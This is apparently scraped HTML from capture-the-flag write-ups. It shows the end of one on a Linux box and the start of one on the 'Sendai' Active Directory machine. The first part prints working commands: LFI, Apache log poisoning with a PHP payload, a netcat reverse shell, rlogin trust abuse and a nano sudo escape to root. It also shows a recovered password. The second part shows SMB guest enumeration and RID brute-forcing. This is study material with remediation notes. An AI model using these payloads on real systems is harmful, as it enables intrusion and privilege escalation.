&lt;p&gt;The dropdown only offers &lt;code&gt;syslog&lt;/code&gt; and &lt;code&gt;auth.log&lt;/code&gt;, but the &lt;code&gt;file&lt;/code&gt; parameter is not restricted server-side to those values. &lt;code&gt;access.log&lt;/code&gt; was chosen to test this because it's Apache's &lt;strong&gt;standard, universal request log&lt;/strong&gt; - present on virtually every Apache install at a predictable path (&lt;code&gt;/var/log/apache2/access.log&lt;/code&gt;), and critically, it &lt;strong&gt;records request data we control&lt;/strong&gt; (URL, headers like &lt;code&gt;User-Agent&lt;/code&gt;, etc.). That combination - a guessable path &lt;em&gt;and&lt;/em&gt; attacker-controlled content - makes it the natural next file to try after confirming basic LFI, since it doubles as the entry point for log poisoning in the next step.&lt;/p&gt;

&lt;p&gt;Supplying that path is honored:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/dashboard.php &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"file=/var/log/apache2/access.log"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This successfully returned the contents of &lt;code&gt;/var/log/apache2/access.log&lt;/code&gt;, confirming an &lt;strong&gt;LFI vulnerability&lt;/strong&gt; - any file readable by the &lt;code&gt;www-data&lt;/code&gt; user can be displayed via the "Log Contents" panel.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Vulnerability #3 - Apache Log Poisoning → Remote Code Execution
&lt;/h2&gt;

&lt;p&gt;Since &lt;code&gt;access.log&lt;/code&gt; records the &lt;code&gt;User-Agent&lt;/code&gt; header verbatim, and the LFI can be pointed at that log file, a classic &lt;strong&gt;log poisoning&lt;/strong&gt; chain applies:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Send a request with a PHP payload as the &lt;code&gt;User-Agent&lt;/code&gt; header - Apache writes it into &lt;code&gt;access.log&lt;/code&gt; unsanitized.&lt;/li&gt;
&lt;li&gt;Use the LFI in &lt;code&gt;dashboard.php&lt;/code&gt; to include &lt;code&gt;/var/log/apache2/access.log&lt;/code&gt;, causing the PHP interpreter to execute the injected payload.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  5.1 Proof of Concept
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'User-Agent: &amp;lt;?php system($_GET["cmd"]); ?&amp;gt;'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     http://&amp;lt;MACHINE_IP&amp;gt;/dashboard.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then triggering inclusion of the poisoned log (via the dashboard's log-viewer POST to &lt;code&gt;/var/log/apache2/access.log&lt;/code&gt;) executes the injected PHP, confirming command execution.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.2 Reverse Shell
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Step 1 — Poison the log.&lt;/strong&gt; The payload was upgraded to a full reverse shell, delivered via the &lt;code&gt;User-Agent&lt;/code&gt; header. This request's only purpose is to get the payload written into &lt;code&gt;access.log&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"User-Agent: &amp;lt;?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc &amp;lt;YOUR_IP&amp;gt; 4444 &amp;gt;/tmp/f'); ?&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     http://&amp;lt;MACHINE_IP&amp;gt;/dashboard.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 2 — Start a listener&lt;/strong&gt; on the attack box, in a separate terminal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lvnp&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 3 — Trigger the LFI&lt;/strong&gt; by POSTing the dashboard's &lt;code&gt;file&lt;/code&gt; parameter at the now-poisoned &lt;code&gt;access.log&lt;/code&gt;. This is the same LFI request from Section 4, and it's what actually causes Apache to parse and execute the injected PHP:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="nt"&gt;-L&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/dashboard.php &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"file=/var/log/apache2/access.log"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;system()&lt;/code&gt; call fires as the page renders, spawning the reverse shell back to the listener from Step 2:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;whoami
www-data
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A subsequent Python PTY upgrade stabilized the shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'import pty; pty.spawn("/bin/bash")'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Foothold established as &lt;code&gt;www-data&lt;/code&gt;.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  6. User Flag
&lt;/h2&gt;

&lt;p&gt;Enumeration from the &lt;code&gt;www-data&lt;/code&gt; shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@reset:/var/www/html&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls
&lt;/span&gt;dashboard.php  index.php  private_34eee5d2  reset_password.php

www-data@reset:/var/www/html&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt;,4&lt;span class="o"&gt;(&lt;/span&gt;adm&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Membership in the &lt;strong&gt;&lt;code&gt;adm&lt;/code&gt;&lt;/strong&gt; group grants read access to log files and, more importantly, to &lt;code&gt;/home/sadm/user.txt&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@reset:/home/sadm&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;user.txt
&lt;span class="o"&gt;[&lt;/span&gt;REDACTED]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;User flag:&lt;/strong&gt; &lt;code&gt;[REDACTED]&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  7. Privilege Escalation Path - &lt;code&gt;www-data&lt;/code&gt; → &lt;code&gt;sadm&lt;/code&gt;
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 Discovering Host-Based Trust
&lt;/h3&gt;

&lt;p&gt;The presence of &lt;code&gt;rexec&lt;/code&gt;/&lt;code&gt;rlogin&lt;/code&gt;/&lt;code&gt;rsh&lt;/code&gt; (ports 512–514) found in the nmap scan pointed toward legacy host-based authentication. Checking &lt;code&gt;/etc/hosts.equiv&lt;/code&gt; (world-readable) confirmed it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@reset:/home/sadm&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/hosts.equiv
&lt;span class="c"&gt;# /etc/hosts.equiv: list of hosts and users that are granted "trusted" r-command access&lt;/span&gt;
- root
- &lt;span class="nb"&gt;local&lt;/span&gt;
+ sadm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;+ sadm&lt;/code&gt; entry means &lt;strong&gt;any remote host&lt;/strong&gt; can &lt;code&gt;rlogin&lt;/code&gt; as the local user &lt;code&gt;sadm&lt;/code&gt; &lt;strong&gt;without a password&lt;/strong&gt;, provided the connecting client's username matches (&lt;code&gt;sadm&lt;/code&gt;).&lt;/p&gt;

&lt;h3&gt;
  
  
  7.2 Exploiting the Trust Relationship
&lt;/h3&gt;

&lt;p&gt;On the attacking Kali machine, a local user named &lt;code&gt;sadm&lt;/code&gt; was created to match the trusted username, then used to &lt;code&gt;rlogin&lt;/code&gt; to the target:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;useradd &lt;span class="nt"&gt;-m&lt;/span&gt; sadm
&lt;span class="nb"&gt;sudo &lt;/span&gt;passwd sadm
&lt;span class="nb"&gt;sudo &lt;/span&gt;su - sadm
rlogin &lt;span class="nt"&gt;-l&lt;/span&gt; sadm &amp;lt;MACHINE_IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This dropped straight into an authenticated shell as &lt;code&gt;sadm&lt;/code&gt; on the target — no password required, purely due to the &lt;code&gt;hosts.equiv&lt;/code&gt; trust misconfiguration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-140-generic x86_64)
&lt;/span&gt;&lt;span class="gp"&gt;sadm@reset:~$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;
&lt;span class="go"&gt;uid=1001(sadm) gid=1001(sadm) groups=1001(sadm)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A pre-existing &lt;code&gt;tmux&lt;/code&gt; session (&lt;code&gt;sadm_session&lt;/code&gt;) was also found running, hinting at prior/automated admin activity:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sadm@reset:~&lt;span class="nv"&gt;$ &lt;/span&gt;tmux &lt;span class="nb"&gt;ls
&lt;/span&gt;sadm_session: 1 windows &lt;span class="o"&gt;(&lt;/span&gt;created Wed Jul  1 04:40:01 2026&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Attaching to it (&lt;code&gt;tmux a -t sadm_session&lt;/code&gt;) revealed a sudo password being typed into a &lt;code&gt;nano&lt;/code&gt; session: &lt;code&gt;7lE2PAfVHfjz4HpE&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  8. Privilege Escalation Path - &lt;code&gt;sadm&lt;/code&gt; → &lt;code&gt;root&lt;/code&gt; (in progress)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  8.1 Sudo Enumeration
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sadm@reset:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
Matching Defaults entries &lt;span class="k"&gt;for &lt;/span&gt;sadm on reset:
    env_reset, &lt;span class="nv"&gt;timestamp_timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nt"&gt;-1&lt;/span&gt;, mail_badpass,
    &lt;span class="nv"&gt;secure_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty, &lt;span class="o"&gt;!&lt;/span&gt;syslog

User sadm may run the following commands on reset:
    &lt;span class="o"&gt;(&lt;/span&gt;ALL&lt;span class="o"&gt;)&lt;/span&gt; PASSWD: /usr/bin/nano /etc/firewall.sh
    &lt;span class="o"&gt;(&lt;/span&gt;ALL&lt;span class="o"&gt;)&lt;/span&gt; PASSWD: /usr/bin/tail /var/log/syslog
    &lt;span class="o"&gt;(&lt;/span&gt;ALL&lt;span class="o"&gt;)&lt;/span&gt; PASSWD: /usr/bin/tail /var/log/auth.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;sadm&lt;/code&gt; can run &lt;code&gt;nano&lt;/code&gt; as &lt;strong&gt;root&lt;/strong&gt; against &lt;code&gt;/etc/firewall.sh&lt;/code&gt;, using the recovered password (&lt;code&gt;7lE2PAfVHfjz4HpE&lt;/code&gt;).&lt;/p&gt;

&lt;h3&gt;
  
  
  8.2 GTFOBins — &lt;code&gt;nano&lt;/code&gt; Sudo Escape
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;nano&lt;/code&gt; is a listed GTFOBins binary for sudo privilege escalation via its command-execution feature:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; /usr/bin/nano /etc/firewall.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Inside the editor:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;Ctrl+R&lt;/code&gt; (Insert file), then &lt;code&gt;Ctrl+X&lt;/code&gt; (Execute a command) — opens an "Execute Command" prompt.&lt;/li&gt;
&lt;li&gt;Enter: &lt;code&gt;reset; sh 1&amp;gt;&amp;amp;0 2&amp;gt;&amp;amp;0&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Press Enter.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This spawns an interactive root shell in place of nano's file-insert operation. Pressing &lt;strong&gt;Enter&lt;/strong&gt; after typing the command is sufficient - no further keystrokes are needed; &lt;code&gt;sh&lt;/code&gt; takes over the terminal directly.&lt;/p&gt;

&lt;h3&gt;
  
  
  8.3 Confirming Root and Capturing the Flag
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# whoami&lt;/span&gt;
root
&lt;span class="c"&gt;# cd /root&lt;/span&gt;
&lt;span class="c"&gt;# ls&lt;/span&gt;
root_[REDACTED].txt  snap
&lt;span class="c"&gt;# cat root_[REDACTED].txt&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;REDACTED]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Root shell and root flag obtained.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  9. Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Password reset info disclosure&lt;/td&gt;
&lt;td&gt;&lt;code&gt;reset_password.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Full admin credential leak&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Local File Inclusion (LFI)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;dashboard.php&lt;/code&gt; (&lt;code&gt;file&lt;/code&gt; param)&lt;/td&gt;
&lt;td&gt;Arbitrary file read&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Apache log poisoning → RCE&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;User-Agent&lt;/code&gt; header + LFI&lt;/td&gt;
&lt;td&gt;Remote code execution as &lt;code&gt;www-data&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Host-based trust misconfiguration&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/etc/hosts.equiv&lt;/code&gt; (&lt;code&gt;+ sadm&lt;/code&gt;) + rlogin&lt;/td&gt;
&lt;td&gt;Passwordless lateral movement to &lt;code&gt;sadm&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Insecure sudo rule (GTFOBins)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sudo nano /etc/firewall.sh&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Privilege escalation to &lt;code&gt;root&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  10. Root Cause / Remediation Notes
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Password reset endpoint should never return the new password to the client — send via email/token only.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;dashboard.php&lt;/code&gt; file selection should validate against a strict allow-list server-side, not just in the HTML &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;User-controllable headers (&lt;code&gt;User-Agent&lt;/code&gt;, etc.) should never be trusted/logged in a way that allows re-inclusion as executable code; disable PHP execution in log directories.&lt;/li&gt;
&lt;li&gt;Remove legacy r-services (&lt;code&gt;rsh&lt;/code&gt;, &lt;code&gt;rlogin&lt;/code&gt;, &lt;code&gt;rexec&lt;/code&gt;) and &lt;code&gt;/etc/hosts.equiv&lt;/code&gt; / &lt;code&gt;.rhosts&lt;/code&gt; trust files — these predate modern authentication and are inherently spoofable.&lt;/li&gt;
&lt;li&gt;Avoid granting &lt;code&gt;sudo&lt;/code&gt; access to editors like &lt;code&gt;nano&lt;/code&gt;, &lt;code&gt;vim&lt;/code&gt;, &lt;code&gt;less&lt;/code&gt;, etc. — these have well-known shell-escape sequences (see GTFOBins).&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  11. Summary of Attack Chain
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Info disclosure&lt;/strong&gt; — &lt;code&gt;reset_password.php&lt;/code&gt; leaks the new admin password in its JSON response.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Auth bypass&lt;/strong&gt; — Used leaked password to log in as &lt;code&gt;admin&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;LFI&lt;/strong&gt; — &lt;code&gt;dashboard.php&lt;/code&gt;'s &lt;code&gt;file&lt;/code&gt; parameter is not validated, allowing arbitrary file read.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Log poisoning RCE&lt;/strong&gt; — Injected PHP via &lt;code&gt;User-Agent&lt;/code&gt;, executed via LFI on &lt;code&gt;access.log&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Foothold&lt;/strong&gt; — Reverse shell as &lt;code&gt;www-data&lt;/code&gt; (group &lt;code&gt;adm&lt;/code&gt; grants log/user.txt read access).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lateral movement&lt;/strong&gt; — Misconfigured &lt;code&gt;/etc/hosts.equiv&lt;/code&gt; (&lt;code&gt;+ sadm&lt;/code&gt;) allowed passwordless &lt;code&gt;rlogin&lt;/code&gt; as &lt;code&gt;sadm&lt;/code&gt; from an attacker-controlled host.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Privesc (root)&lt;/strong&gt; — &lt;code&gt;sudo&lt;/code&gt; rule permits &lt;code&gt;nano /etc/firewall.sh&lt;/code&gt; as root; GTFOBins escape yields a root shell.&lt;/li&gt;
&lt;/ol&gt;




</description>
      <category>cybersecurity</category>
      <category>hackthebox</category>
      <category>writeup</category>
      <category>ctf</category>
    </item>
    <item>
      <title>HackTheBox: Sendai Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Mon, 29 Jun 2026 06:24:39 +0000</pubDate>
      <link>https://dev.to/exploitnotes/hackthebox-sendai-writeup-2nh8</link>
      <guid>https://dev.to/exploitnotes/hackthebox-sendai-writeup-2nh8</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Sendai is a Windows Active Directory machine exposed with SMB guest access. RID brute-forcing reveals a full user list, and two accounts have expired passwords that can be reset with no knowledge of the current password. After resetting and logging in, BloodHound shows a path from both users through the &lt;code&gt;SUPPORT&lt;/code&gt; group - which has &lt;code&gt;GenericAll&lt;/code&gt; over the &lt;code&gt;ADMSVC&lt;/code&gt; OU and group. Adding ourselves to &lt;code&gt;ADMSVC&lt;/code&gt; lets us read the GMSA password for &lt;code&gt;mgtsvc$&lt;/code&gt;, which has WinRM access. Once inside, we find SQL credentials in a config file. The MSSQL port isn't externally reachable so we tunnel through with Chisel, forge a Silver Ticket as Administrator against the MSSQL SPN, and get &lt;code&gt;sa&lt;/code&gt;-level access. From there, &lt;code&gt;xp_cmdshell&lt;/code&gt; drops a shell as &lt;code&gt;sqlsvc&lt;/code&gt;, which has &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; - GodPotato turns that into SYSTEM.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Chain:&lt;/strong&gt; Guest SMB → RID brute → expired password reset × 2 → BloodHound → GenericAll abuse → GMSA read → WinRM as mgtsvc$ → SQL creds in config → Chisel tunnel → Silver Ticket → xp_cmdshell → sqlsvc → GodPotato → SYSTEM&lt;/p&gt;




&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; 10.129.234.66 &lt;span class="nt"&gt;-oA&lt;/span&gt; nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sendai.vl)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Classic DC fingerprint - DNS, Kerberos, LDAP, SMB, RDP, WinRM. Domain is &lt;code&gt;sendai.vl&lt;/code&gt;, hostname is &lt;code&gt;DC&lt;/code&gt;. We add it to &lt;code&gt;/etc/hosts&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'10.129.234.66 sendai.vl dc.sendai.vl DC.sendai.vl'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  SMB Enumeration
&lt;/h2&gt;

&lt;p&gt;First we try a null session, then the built-in guest account:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb 10.129.234.66 &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="nt"&gt;--shares&lt;/span&gt;
&lt;span class="c"&gt;# → STATUS_ACCESS_DENIED&lt;/span&gt;

nxc smb 10.129.234.66 &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;'guest'&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="nt"&gt;--shares&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Share           Permissions     Remark
&lt;span class="nt"&gt;-----&lt;/span&gt;           &lt;span class="nt"&gt;-----------&lt;/span&gt;     &lt;span class="nt"&gt;------&lt;/span&gt;
ADMIN&lt;span class="nv"&gt;$ &lt;/span&gt;                         Remote Admin
C&lt;span class="nv"&gt;$ &lt;/span&gt;                             Default share
config                          
IPC&lt;span class="nv"&gt;$ &lt;/span&gt;           READ            Remote IPC
NETLOGON                        Logon server share 
sendai          READ            company share
SYSVOL                          Logon server share 
Users           READ            
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Guest can read &lt;code&gt;sendai&lt;/code&gt;, &lt;code&gt;Users&lt;/code&gt;, and &lt;code&gt;IPC$&lt;/code&gt;. The &lt;code&gt;config&lt;/code&gt; share shows up but with no permissions listed — worth coming back to.&lt;/p&gt;

&lt;h3&gt;
  
  
  RID Brute Force
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;--users&lt;/code&gt; returned nothing with guest, so we brute-force SIDs instead. Windows assigns sequential RIDs to all objects, so iterating them resolves usernames without needing any real auth:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb 10.129.234.66 &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;'guest'&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="nt"&gt;--rid-brute&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;1104: SENDAI&lt;span class="se"&gt;\s&lt;/span&gt;qlsvc &lt;span class="o"&gt;(&lt;/span&gt;SidTypeUser&lt;span class="o"&gt;)&lt;/span&gt;
1105: SENDAI&lt;span class="se"&gt;\w&lt;/span&gt;ebsvc &lt;span class="o"&gt;(&lt;/span&gt;SidTypeUser&lt;span class="o"&gt;)&lt;/span&gt;
1108: SENDAI&lt;span class="se"&gt;\D&lt;/span&gt;orothy.Jones &lt;span class="o"&gt;(&lt;/span&gt;SidTypeUser&lt;span class="o"&gt;)&lt;/span&gt;
1109: SENDAI&lt;span class="se"&gt;\K&lt;/span&gt;erry.Robinson &lt;span class="o"&gt;(&lt;/span&gt;SidTypeUser&lt;span class="o"&gt;)&lt;/span&gt;
...
1127: SENDAI&lt;span class="se"&gt;\T&lt;/span&gt;homas.Powell &lt;span class="o"&gt;(&lt;/span&gt;SidTypeUser&lt;span class="o"&gt;)&lt;/span&gt;
